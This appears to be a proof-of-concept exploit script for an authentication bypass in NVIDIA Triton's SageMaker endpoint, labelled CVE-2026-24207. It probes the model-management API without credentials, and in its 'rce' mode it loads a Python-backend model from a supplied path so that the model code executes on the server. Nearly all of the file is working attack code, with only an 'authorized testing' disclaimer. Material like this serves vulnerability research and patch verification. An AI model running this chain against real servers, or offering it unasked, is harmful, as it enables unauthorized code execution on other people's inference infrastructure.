#!/usr/bin/env python3
"""CVE-2026-24207 — NVIDIA Triton SageMaker auth-bypass + RCE chain.

Demonstrates the model-management surface that the bypass exposes:

  --mode probe   : enumerate + attempt LOAD + attempt UNLOAD (default).
                   Sends three requests WITHOUT the operator's auth header
                   and confirms each reaches the SageMaker handler.

  --mode rce     : full chain — LOAD a Python-backend model from a
                   user-supplied directory. If the directory contains a
                   valid config.pbtxt + model.py, Triton's Python backend
                   will execute the model.py as the Triton process user.
                   You must supply the model directory yourself; see the
                   example/ directory in this repo for a benign demo.

Authorized testing only. The RCE primitive requires the attacker to be
able to place model files on a Triton-readable filesystem path.
"""
import argparse
import sys

import requests


def probe(method, url, body=None, headers=None):
    try:
        r = requests.request(method, url, json=body, headers=headers,
                             timeout=10)
        text = (r.text or "").strip()
        short = text[:100] + ("..." if len(text) > 100 else "")
        return r.status_code, short, r.text
    except requests.exceptions.RequestException as e:
        return None, f"{type(e).__name__}", ""


def mode_probe(args):
    base = f"http://{args.target}"
    print(f"[*] mode=probe — sending requests WITHOUT auth header")
    print()

    code, summary, _ = probe("GET", f"{base}/models")
    bypass = (code is not None and code != 403)
    print(f"[1] GET    /models                  → HTTP {code}  {summary}")
    if not bypass:
        print("    restriction enforced — endpoint appears PATCHED.")
        sys.exit(0)

    body = {"model_name": args.name, "url": args.url or "/nonexistent"}
    code, summary, _ = probe("POST", f"{base}/models", body,
                             {"X-Amzn-SageMaker-Target-Model": f"{args.name}.tar.gz"})
    print(f"[2] POST   /models  (LOAD attempt)  → HTTP {code}  {summary}")
    if code != 403:
        print("    LOAD handler reached without auth.")

    code, summary, _ = probe("DELETE", f"{base}/models/{args.name}")
    print(f"[3] DELETE /models/{args.name:<15}  → HTTP {code}  {summary}")
    if code != 403:
        print("    UNLOAD handler reached without auth.")

    print()
    print("[!] VULNERABLE — model-management surface reached unauthenticated.")
    print("    On a patched build (Triton ≥ 26.03), all three return 403.")


def mode_rce(args):
    if not args.url:
        print("error: --mode rce requires --url <path-on-target-filesystem>",
              file=sys.stderr)
        print("       Triton will load the model at that path; if it's a",
              file=sys.stderr)
        print("       Python-backend model, model.py will execute.",
              file=sys.stderr)
        sys.exit(2)

    base = f"http://{args.target}"
    print(f"[*] mode=rce — LOADing {args.url} as model {args.name!r}")
    print()

    body = {"model_name": args.name, "url": args.url}
    code, summary, _ = probe("POST", f"{base}/models", body,
                             {"X-Amzn-SageMaker-Target-Model": f"{args.name}.tar.gz"})
    print(f"[1] POST /models (no auth)          → HTTP {code}  {summary}")

    if code is None:
        print("[-] request failed — target unreachable.")
        sys.exit(1)
    if code == 403:
        print("[-] 403 — restriction enforced, this build is patched.")
        sys.exit(1)
    if code != 200:
        print(f"[-] LOAD failed with HTTP {code} — model dir invalid or wrong format.")
        print(f"    Expected layout: {args.url}/model/config.pbtxt + {args.url}/model/1/model.py")
        sys.exit(1)

    print()
    print("[!] LOAD succeeded — if the directory was a Python-backend model,")
    print("    model.py executed inside the Triton process at load time and")
    print("    again at TritonPythonModel.initialize().")
    print()
    print("    Verify by checking for whatever artifact your model.py produced")
    print("    (file on the Triton host, network callback, etc.).")


def main():
    p = argparse.ArgumentParser(
        description=__doc__,
        formatter_class=argparse.RawDescriptionHelpFormatter)
    p.add_argument("target", help="host:sagemaker_port  (e.g. 10.0.0.5:8080)")
    p.add_argument("--mode", choices=["probe", "rce"], default="probe")
    p.add_argument("--name", default="exploitpoc",
                   help="model name used in the LOAD request (default: exploitpoc)")
    p.add_argument("--url",
                   help="target filesystem path Triton will read the model from "
                        "(required for --mode rce). Layout: <url>/model/config.pbtxt "
                        "+ <url>/model/1/model.py")
    args = p.parse_args()

    if args.mode == "probe":
        mode_probe(args)
    else:
        mode_rce(args)


if __name__ == "__main__":
    main()